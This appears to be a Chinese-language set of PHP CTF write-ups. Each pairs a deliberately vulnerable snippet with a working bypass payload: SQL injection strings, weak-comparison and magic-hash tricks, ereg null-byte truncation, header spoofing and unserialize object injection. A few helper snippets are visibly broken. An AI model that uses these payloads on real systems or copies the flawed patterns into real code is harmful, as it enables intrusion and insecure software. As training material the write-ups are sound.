code
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| <?php $flag='xxx'; extract($_GET); if(isset($shiyan)) { $content=trim(file_get_contents($flag)); if($shiyan==$content) { echo'ctf{xxx}'; } else { echo'Oh.no'; } } ?>
|
writeup
资料:
http://localhost/php_bugs/extract1.php?shiyan=&flag=1
02 绕过trim函数过滤
code
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75
| <?php $info = ""; $req = []; $flag="xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"; ini_set("display_error", false); error_reporting(0); if(!isset($_GET['number'])){ header("hint:26966dc52e85af40f59b4fe73d8c323a.txt"); die("have a fun!!"); } foreach([$_GET, $_POST] as $global_var) { foreach($global_var as $key => $value) { $value = trim($value); is_string($value) && $req[$key] = addslashes($value); } } function is_palindrome_number($number) { $number = strval($number); $i = 0; $j = strlen($number) - 1; while($i < $j) { if($number[$i] !== $number[$j]) { return false; } $i++; $j--; } return true; } if(is_numeric($_REQUEST['number'])) { $info="sorry, you cann't input a number!"; } elseif($req['number']!=strval(intval($req['number']))) { $info = "number must be equal to it's integer!! "; } else { $value1 = intval($req["number"]); $value2 = intval(strrev($req["number"])); if($value1!=$value2){ $info="no, this is not a palindrome number!"; } else { if(is_palindrome_number($req["number"])){ $info = "nice! {$value1} is a palindrome number!"; } else { $info=$flag; } } } echo $info;
|
writeup
由于is_numeric
没有检测\0(%00)
,所以导致is_numeric($_REQUEST['number'])
为False
,成功跳过检测。
由于trim函数没有过滤\f(%0c)
,而intval
函数而跳过\f(%0c)
,导致$value1
和$value2
都为相等,进入到is_palindrome_number
函数成功通过$number[$i] !== $number[$j]
检测返回false
,最终进入到获取$flag
最后的else
里。
资料
http://localhost/php_bugs/02.php?number=%0c1
03 多重加密
code
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48
| <?php include 'common.php'; $requset = array_merge($_GET, $_POST, $_COOKIE); class db { public $where; function __wakeup() { if(!empty($this->where)) { $this->select($this->where); } } function select($where) { $sql = mysql_query('select * from user where '.$where); return @mysql_fetch_array($sql); } } if(isset($requset['token'])) { $login = unserialize(gzuncompress(base64_decode($requset['token']))); $db = new db(); $row = $db->select('user=\''.mysql_real_escape_string($login['user']).'\''); if($login['user'] === 'ichunqiu') { echo $flag; }else if($row['pass'] !== $login['pass']){ echo 'unserialize injection!!'; }else{ echo "(╯‵□′)╯︵┴─┴ "; } } ?>
|
writeup
1 2 3 4 5
| <?php $arr = array(['user'] === 'ichunqiu'); $token = base64_encode(gzcompress(serialize($arr))); print_r($token); ?>
|
eJxLtDK0qs60MrBOAuJaAB5uBBQ=
http://127.0.0.1/php_bugs/03.php?token=eJxLtDK0qs60MrBOAuJaAB5uBBQ=
04 SQL注入WITH ROLLUP绕过
code
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75
| <?php error_reporting(0); if (!isset($_POST['uname']) || !isset($_POST['pwd'])) { echo '<form action="" method="post">'."<br/>"; echo '<input name="uname" type="text"/>'."<br/>"; echo '<input name="pwd" type="text"/>'."<br/>"; echo '<input type="submit" />'."<br/>"; echo '</form>'."<br/>"; echo '<!--source: source.txt-->'."<br/>"; die; } function AttackFilter($StrKey,$StrValue,$ArrReq){ if (is_array($StrValue)){ $StrValue=implode($StrValue); } if (preg_match("/".$ArrReq."/is",$StrValue)==1){ print "水可载舟,亦可赛艇!"; exit(); } } $filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)"; foreach($_POST as $key=>$value){ AttackFilter($key,$value,$filter); } $con = mysql_connect("localhost","root","root"); if (!$con){ die('Could not connect: ' . mysql_error()); } $db="test"; mysql_select_db($db, $con); $sql="SELECT * FROM interest WHERE uname = '{$_POST['uname']}'"; echo $sql; echo "</br>"; $query = mysql_query($sql); var_dump(mysql_num_rows($query)); echo "</br>"; if (mysql_num_rows($query) == 1) { $key = mysql_fetch_array($query); if($key['pwd'] == $_POST['pwd']) { print "CTF{XXXXXX}"; }else{ print "亦可赛艇!"; } }else{ print "一颗赛艇!"; } mysql_close($con); ?>
|
writeup
资料:
pwd&uname=admin' group by pwd with rollup limit 1 offset 1#--
05 ereg正则%00截断
code
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| <?php $flag = "flag"; if (isset ($_GET['password'])) { if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE) { echo '<p>You password must be alphanumeric</p>'; } else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999) { if (strpos ($_GET['password'], '*-*') !== FALSE) { die('Flag: ' . $flag); } else { echo('<p>*-* have not been found</p>'); } } else { echo '<p>Invalid password</p>'; } } ?>
|
writeup
资料:
http://localhost/php_bugs/05.php?password=1e9%00*-*
06 strcmp比较字符串
code
1 2 3 4 5 6 7 8 9 10 11 12
| <?php $flag = "flag"; if (isset($_GET['a'])) { if (strcmp($_GET['a'], $flag) == 0) die('Flag: '.$flag); else print 'No'; } ?>
|
writeup
1 2
| int strcmp ( string $str1 , string $str2 ) // 参数 str1第一个字符串。str2第二个字符串。如果 str1 小于 str2 返回 < 0; 如果 str1 大于 str2 返回 > 0;如果两者相等,返回 0。
|
在PHP官方文档中,说明了strcmp函数在5.2版本和5.3版本的区别。
Note a difference between 5.2 and 5.3 versions
echo (int)strcmp(‘pending’,array());
will output -1 in PHP 5.2.16 (probably in all versions prior 5.3)
but will output 0 in PHP 5.3.3
Of course, you never need to use array as a parameter in string comparisions.
5.3之前版本如果传入数组参数strcmp函数将会返回-1:
在5.3.3版本之后使用这个函数传入数组参数比较会返回0,也就是判定其相等,后来PHP官方后面的版本中修复了这个漏洞,当传入非字符串参数导致报错的时函数不返回任何值,也就是返回NULL
,但是由于这里==
弱类型判断,导致NULL==0
为 bool(true)
。
http://localhost/php_bugs/06.php?a[]=1
07 sha()函数比较绕过
code
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| <?php $flag = "flag"; if (isset($_GET['name']) and isset($_GET['password'])) { var_dump($_GET['name']); echo "</br>"; var_dump($_GET['password']); var_dump(sha1($_GET['name'])); var_dump(sha1($_GET['password'])); if ($_GET['name'] == $_GET['password']) echo '<p>Your password can not be your name!</p>'; else if (sha1($_GET['name']) === sha1($_GET['password'])) die('Flag: '.$flag); else echo '<p>Invalid password.</p>'; } else echo '<p>Login first!</p>'; ?>
|
writeup
由于sha1()
函数和md5()
函数在处理传入参数为数组时会报警并都返回NULL
,构造并传入2个不同数组便可以成功通过if ($_GET['name'] == $_GET['password'])
和else if (sha1($_GET['name']) === sha1($_GET['password']))
检测。
http://localhost/php_bugs/07.php?name[]=1&password[]=2
08 SESSION验证绕过
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| <html> <head> <title>Get flag</title> </head> <body> <?php session_start(); require 'flag.php'; if (isset ($_GET['password'])) { if ($_GET['password'] == $_SESSION['password']) die ('Flag: '.$flag); else print '<p class="alert">Wrong guess.</p>'; } mt_srand((microtime() ^ rand(1, 10000)) % rand(1, 10000) + rand(1, 10000)); ?> <section class="login"> <ul class="list"> <?php for ($i=0; $i<3; $i++) print '<li>' . mt_rand (0, 0xffffff) . '</li>'; $_SESSION['password'] = mt_rand (0, 0xffffff); ?> </ul> <form method="get"> <input type="text" required name="password" placeholder="Next number" /><br/> <input type="submit"/> </form> </section> </body> </html>
|
writeup
关键判断语句if ($_GET['password'] == $_SESSION['password'])
,可以手动删除请求时的cookies
,使$_SESSION['password']
字段为NULL
,并使传入password
参数为NULL
。
http://localhost/php_bugs/08.php?password=
资料:
09 密码md5比较绕过
code
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| <?php if($_POST[user] && $_POST[pass]) { $conn = mysql_connect("localhost", "root", "root"); mysql_select_db("test") or die("Could not select database"); if ($conn->connect_error) { die("Connection failed: " . mysql_error($conn)); } $user = $_POST[user]; $pass = md5($_POST[pass]); $sql = "select pwd from test where user='$user'"; $query = mysql_query($sql); if (!$query) { printf("Error: %s\n", mysql_error($conn)); exit(); } $row = mysql_fetch_array($query, MYSQL_ASSOC); if (($row[pwd]) && (!strcasecmp($pass, $row[pwd]))) { echo "<p>Logged in! Key:************** </p>"; } else { echo("<p>Log in failure!</p>"); } } ?>
|
writeup
?user=' union select 'e10adc3949ba59abbe56e057f20f883e' #&pass=123456
资料:
10 urldecode二次编码绕过
code
1 2 3 4 5 6 7 8 9 10 11 12 13
| <?php if(eregi("hackerDJ",$_GET[id])) { echo("<p>not allowed!</p>"); exit(); } $_GET[id] = urldecode($_GET[id]); if($_GET[id] == "hackerDJ") { echo "<p>Access granted!</p>"; echo "<p>flag: {*****************} </p>"; } ?>
|
h
的URL
编码为:%68
,二次编码为%2568
,绕过
http://localhost/php_bugs/10.php?id=%2568ackerDJ
资料:
11 sql闭合绕过
code
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| <?php if($_POST[user] && $_POST[pass]) { $conn = mysql_connect("localhost", "root", "root"); mysql_select_db("test") or die("Could not select database"); if ($conn->connect_error) { die("Connection failed: " . mysql_error($conn)); } $user = $_POST[user]; $pass = md5($_POST[pass]); $sql = "select user from test where (user='$user') and (pwd='$pass')"; echo $sql; $query = mysql_query($sql); if (!$query) { printf("Error: %s\n", mysql_error($conn)); exit(); } $row = mysql_fetch_array($query, MYSQL_ASSOC); if($row['user']=="admin") { echo "<p>Logged in! Key: *********** </p>"; } if($row['user'] != "admin") { echo("<p>You are not admin!</p>"); } } ?>
|
构造exp闭合绕过
pass=1&user=admin')#
12 X-Forwarded-For绕过指定IP地址
code
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| <?php function GetIP(){ if(!empty($_SERVER["HTTP_CLIENT_IP"])) $cip = $_SERVER["HTTP_CLIENT_IP"]; else if(!empty($_SERVER["HTTP_X_FORWARDED_FOR"])) $cip = $_SERVER["HTTP_X_FORWARDED_FOR"]; else if(!empty($_SERVER["REMOTE_ADDR"])) $cip = $_SERVER["REMOTE_ADDR"]; else $cip = "0.0.0.0"; return $cip; } $GetIPs = GetIP(); if ($GetIPs=="1.1.1.1"){ echo "Great! Key is *********"; } else{ echo "错误!你的IP不在访问列表之内!"; } ?>
|
writeup
HTTP
头添加X-Forwarded-For:1.1.1.1
13 md5加密相等绕过
code
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| <?php $md51 = md5('QNKCDZO'); $a = @$_GET['a']; $md52 = @md5($a); if(isset($a)){ if ($a != 'QNKCDZO' && $md51 == $md52) { echo "flag{*****************}"; } else { echo "false!!!"; }} else{echo "please input a";} ?>
|
writeup
http://localhost/php_bugs/13.php?a=240610708
==
对比的时候会进行数据转换,根据PHP手册的描述:如果比较一个数字和字符串或者比较涉及到数字内容的字符串,则字符串会被转换为数值并且比较按照数值来进行。其中0e是科学计数法,因为涉及到数字内容,所以就会转换为数值,而0e830400451993494058024219903391
转换为数值也就是0*(10^830400451993494058024219903391) = 0
,因此只需找到生成的MD5值类似0exxxxxxxxx
的字符串即可。
1 2
| md5('240610708'); md5('QNKCDZO');
|
14 intval函数向下取整
code
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| <?php if($_GET[id]) { $conn = mysql_connect("localhost", "root", "root"); mysql_select_db("test") or die("Could not select database"); if ($conn->connect_error) { die("Connection failed: " . mysql_error($conn)); } $id = intval($_GET[id]); echo $id; $query = @mysql_fetch_array(mysql_query("select flag from ctf where id='$id'")); echo $_GET[id]; if ($_GET[id]==1024) { echo "<p>no! try again</p>"; } else{ echo($query[flag]); } } ?>
|
1024.1
绕过
writeup
资料:
15 strpos数组绕过NULL与ereg正则%00截断
code
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| <?php $flag = "flag"; if (isset ($_GET['nctf'])) { if (@ereg ("^[1-9]+$", $_GET['nctf']) === FALSE) echo '必须输入数字才行'; else if (strpos ($_GET['nctf'], '#biubiubiu') !== FALSE) die('Flag: '.$flag); else echo '骚年,继续努力吧啊~'; } ?>
|
writeup
方法一:
既要是纯数字,又要有’#biubiubiu’
,strpos()
找的是字符串,那么传一个数组给它,strpos()
出错返回null,null!==false
,所以符合要求.
所以输入nctf[]=
那为什么ereg()
也能符合呢?因为ereg()
在出错时返回的也是null
,null!==false
,所以符合要求.
方法二:
字符串截断,利用ereg()
的NULL
截断漏洞,绕过正则过滤
http://localhost/php_bugs/16.php?nctf=1%00#biubiubiu
错误
需将#编码
http://localhost/php_bugs/16.php?nctf=1%00%23biubiubiu
正确
16 SQL注入or绕过
code
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| <?php error_reporting(0); require 'db.inc.php'; function clean($str){ if(get_magic_quotes_gpc()){ $str=stripslashes($str); } return htmlentities($str, ENT_QUOTES); } $username = @clean((string)$_GET['username']); $password = @clean((string)$_GET['password']); $query='SELECT * FROM users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';'; $result=mysql_query($query); if(!$result || mysql_num_rows($result) < 1){ die('Invalid password!'); } echo $flag; ?>
|
writeup
1
| $query='SELECT * FROM users WHERE name=\''admin\'\' AND pass=\''or 1 #'\';';
|
?username=admin\'\' AND pass=\''or 1 #&password=
17 密码md5比较绕过
code
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| <?php if($_POST[user] && $_POST[pass]) { mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS); mysql_select_db(SAE_MYSQL_DB); $user = $_POST[user]; $pass = md5($_POST[pass]); $query = @mysql_fetch_array(mysql_query("select pw from ctf where user=' $user '")); if (($query[pw]) && (!strcasecmp($pass, $query[pw]))) { echo "<p>Logged in! Key: flag{**************} </p>"; } else { echo("<p>Log in failure!</p>"); } } ?>
|
writeup
1
| //select pw from ctf where user=''and 0=1 union select 'e10adc3949ba59abbe56e057f20f883e' #
|
1
| ?user='and 0=1 union select 'e10adc3949ba59abbe56e057f20f883e' #&pass=123456
|
18 md5()函数===使用数组绕过
code
1 2 3 4 5 6 7 8 9 10 11 12
| <?php error_reporting(0); $flag = 'flag{test}'; if (isset($_GET['username']) and isset($_GET['password'])) { if ($_GET['username'] == $_GET['password']) print 'Your password can not be your username.'; else if (md5($_GET['username']) === md5($_GET['password'])) die('Flag: '.$flag); else print 'Invalid password'; } ?>
|
writeup
若为md5($_GET['username']) == md5($_GET['password'])
则可以构造:
http://localhost/php_bugs/18.php?username=QNKCDZO&password=240610708
因为==
对比的时候会进行数据转换,0eXXXXXXXXXX
转成0
了
也可以使用数组绕过
http://localhost/php_bugs/18.php?username[]=1&password[]=2
但此处是===
,只能用数组绕过,PHP
对数组进行hash
计算都会得出null
的空值
http://localhost/php_bugs/18.php?username[]=1&password[]=2
19 ereg()函数strpos() 函数用数组返回NULL绕过
code
1 2 3 4 5 6 7 8 9 10 11 12 13
| <?php $flag = "flag"; if (isset ($_GET['password'])) { if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE) echo 'You password must be alphanumeric'; else if (strpos ($_GET['password'], '--') !== FALSE) die('Flag: ' . $flag); else echo 'Invalid password'; } ?>
|
writeup
方法一:
ereg()正则函数可以用%00
截断
http://localhost/php_bugs/19.php?password=1%00--
方法二:
将password
构造一个arr[]
,传入之后,ereg
是返回NULL
的,===
判断NULL
和 FALSE
,是不相等的,所以可以进入第二个判断,而strpos
处理数组,也是返回NULL
,注意这里的是!==
,NULL!==FALSE
,条件成立,拿到flag
http://localhost/php_bugs/19.php?password[]=
20 十六进制与数字比较
code
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| <?php error_reporting(0); function noother_says_correct($temp) { $flag = 'flag{test}'; $one = ord('1'); $nine = ord('9'); $number = '3735929054'; for ($i = 0; $i < strlen($number); $i++) { $digit = ord($temp{$i}); if ( ($digit >= $one) && ($digit <= $nine) ) { return "flase"; } } if($number == $temp) return $flag; } $temp = $_GET['password']; echo noother_says_correct($temp); ?>
|
writeup
这里,它不让输入1到9的数字,但是后面却让比较一串数字,平常的方法肯定就不能行了,大家都知道计算机中的进制转换,当然也是可以拿来比较的,0x
开头则表示16
进制,将这串数字转换成16
进制之后发现,是deadc0de
,在开头加上0x
,代表这个是16
进制的数字,然后再和十进制的 3735929054
比较,答案当然是相同的,返回true
拿到flag
1 2
| echo dechex ( 3735929054 ); // 将3735929054转为16进制 结果为:deadc0de
|
构造:
http://localhost/php_bugs/20.php?password=0xdeadc0de
21 数字验证正则绕过
code
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| <?php error_reporting(0); $flag = 'flag{test}'; if ("POST" == $_SERVER['REQUEST_METHOD']) { $password = $_POST['password']; if (0 >= preg_match('/^[[:graph:]]{12,}$/', $password)) { echo 'Wrong Format'; exit; } while (TRUE) { $reg = '/([[:punct:]]+|[[:digit:]]+|[[:upper:]]+|[[:lower:]]+)/'; if (6 > preg_match_all($reg, $password, $arr)) break; $c = 0; $ps = array('punct', 'digit', 'upper', 'lower'); foreach ($ps as $pt) { if (preg_match("/[[:$pt:]]+/", $password)) $c += 1; } if ($c < 3) break; if ("42" == $password) echo $flag; else echo 'Wrong password'; exit; } } ?>
|
writeup
0 >= preg_match('/^[[:graph:]]{12,}$/', $password)
意为必须是12个字符以上(非空格非TAB之外的内容)
1 2
| $reg = '/([[:punct:]]+|[[:digit:]]+|[[:upper:]]+|[[:lower:]]+)/'; if (6 > preg_match_all($reg, $password, $arr))
|
意为匹配到的次数要大于6次
1 2 3 4 5 6 7
| $ps = array('punct', 'digit', 'upper', 'lower'); //[[:punct:]] 任何标点符号 [[:digit:]] 任何数字 [[:upper:]] 任何大写字母 [[:lower:]] 任何小写字母 foreach ($ps as $pt) { if (preg_match("/[[:$pt:]]+/", $password)) $c += 1; } if ($c < 3) break;
|
意为必须要有大小写字母,数字,字符内容三种与三种以上
1
| if ("42" == $password) echo $flag;
|
意为必须等于42
答案:
1 2 3
| 42.00e+00000000000 或 420.000000000e-1
|
资料:
22 弱类型整数大小比较绕过
code
1 2 3 4 5 6 7 8 9 10 11 12
| <?php error_reporting(0); $flag = "flag{test}"; $temp = $_GET['password']; is_numeric($temp)?die("no numeric"):NULL; if($temp>1336){ echo $flag; } ?>
|
writeup
is_numeric($temp)?die("no numeric"):NULL;
不能是数字
1 2 3
| if($temp>1336){ echo $flag; }
|
又要大于1336
利用PHP
弱类型的一个特性,当一个整形和一个其他类型行比较的时候,会先把其他类型intval
再比。如果输入一个1337a
这样的字符串,在is_numeric
中返回true
,然后在比较时被转换成数字1337
,这样就绕过判断输出flag
。
http://localhost/php_bugs/22.php?password=1337a
23 md5函数验证绕过
code
1 2 3 4 5 6 7 8 9 10
| <?php error_reporting(0); $flag = 'flag{test}'; $temp = $_GET['password']; if(md5($temp)==0){ echo $flag; } ?>
|
if(md5($temp)==0)
要使md5
函数加密值为0
writeup
方法一:
使password
不赋值,为NULL
,NULL == 0
为true
http://localhost/php_bugs/23.php?password=
http://localhost/php_bugs/23.php
方法二:
经过MD5运算后,为0e******
的形式,其结果为0*10
的n
次方,结果还是零
http://localhost/php_bugs/23.php?password=240610708
http://localhost/php_bugs/23.php?password=QNKCDZO
24 md5函数true绕过注入
code
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| <?php error_reporting(0); $link = mysql_connect('localhost', 'root', 'root'); if (!$link) { die('Could not connect to MySQL: ' . mysql_error()); } $db = mysql_select_db("security", $link); if(!$db) { echo 'select db error'; exit(); } $password = $_GET['password']; $sql = "SELECT * FROM users WHERE password = '".md5($password,true)."'"; var_dump($sql); $result=mysql_query($sql) or die('<pre>' . mysql_error() . '</pre>' ); $row1 = mysql_fetch_row($result); var_dump($row1); mysql_close($link); ?>
|
writeup
$sql = "SELECT * FROM users WHERE password = '".md5($password,true)."'";
md5($password,true)
将md5
后的hex
转换成字符串
如果包含'or'xxx
这样的字符串,那整个sql
变成
SELECT * FROM admin WHERE pass = ''or'xxx'
就绕过了
字符串:ffifdyop
md5
后,276f722736c95d99e921722cf9ed621c
hex
转换成字符串:'or'6<trash>
构造:?password=ffifdyop
资料:
25 switch没有break 字符与0比较绕过
code
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| <?php if (isset($_GET['which'])) { $which = $_GET['which']; switch ($which) { case 0: print('arg'); case 1: case 2: require_once $which.'.php'; echo $flag; break; default: echo GWF_HTML::error('PHP-0817', 'Hacker NoNoNo!', false); break; } } ?>
|
writeup
让我们包含当前目录中的flag.php
,给which
为flag
,这里会发现在case 0
和case 1
的时候,没有break
,按照常规思维,应该是0
比较不成功,进入比较1
,然后比较2
,再然后进入default
,但是事实却不是这样,事实上,在 case 0
的时候,字符串和0
比较是相等的,进入了case 0
的方法体,但是却没有break
,这个时候,默认判断已经比较成功了,而如果匹配成功之后,会继续执行后面的语句,这个时候,是不会再继续进行任何判断的。也就是说,我们which
传入flag
的时候,case 0
比较进入了方法体,但是没有break
,默认已经匹配成功,往下执行不再判断,进入2
的时候,执行了require_once flag.php
PHP中非数字开头字符串和数字 0
比较==
都返回True
因为通过逻辑运算符让字符串和数字比较时,会自动将字符串转换为数字.而当字符串无法转换为数字时,其结果就为0
了,然后再和另一个0
比大小,结果自然为ture
。注意:如果那个字符串是以数字开头的,如6ldb
,它还是可以转为数字6
的,然后和0
比较就不等了(但是和6
比较就相等)
if($str==0)
判断 和 if( intval($str) == 0 )
是等价的
1 2 3 4 5
| 可以验证: <?php $str="s6s"; if($str==0){ echo "返回了true.";} ?>
|
要字符串与数字判断不转类型方法有:
此题构造:http://localhost/php_bugs/25.php?which=flag
资料:
26 unserialize()序列化
code
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47
| <!-- 题目:http: <!-- index.php --> <?php require_once('shield.php'); $x = new Shield(); isset($_GET['class']) && $g = $_GET['class']; if (!empty($g)) { $x = unserialize($g); } echo $x->readfile(); ?> <img src="showimg.php?img=c2hpZWxkLmpwZw==" width="100%"/> <!-- shield.php --> <?php class Shield { public $file; function __construct($filename = '') { $this -> file = $filename; } function readfile() { if (!empty($this->file) && stripos($this->file,'..')===FALSE && stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) { return @file_get_contents($this->file); } } } ?> <!-- showimg.php --> <?php $f = $_GET['img']; if (!empty($f)) { $f = base64_decode($f); if (stripos($f,'..')===FALSE && stripos($f,'/')===FALSE && stripos($f,'\\')===FALSE && stripos($f,'pctf')===FALSE) { readfile($f); } else { echo "File not found!"; } } ?>
|
writeup
说明flag
在pctf.php
,但showimg.php
中不允许直接读取pctf.php
,只有在index.php
中可以传入变量class
,index.php
中Shield
类的实例$X = unserialize($g)
,$g = $_GET['class'];
,$X
中不知$filename
变量,但需要找的是:$filename = "pctf.php"
,现$X
已知,求传入的class
变量值。
可以进行序列化操作:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| <!-- answer.php --> <?php require_once('shield.php'); $x = class Shield(); $g = serialize($x); echo $g; ?> <!-- shield.php --> <?php //flag is in pctf.php class Shield { public $file; function __construct($filename = 'pctf.php') { $this -> file = $filename; } function readfile() { if (!empty($this->file) && stripos($this->file,'..')===FALSE && stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) { return @file_get_contents($this->file); } } } ?>
|
得到:
O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}
构造:
http://web.jarvisoj.com:32768/index.php?class=O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}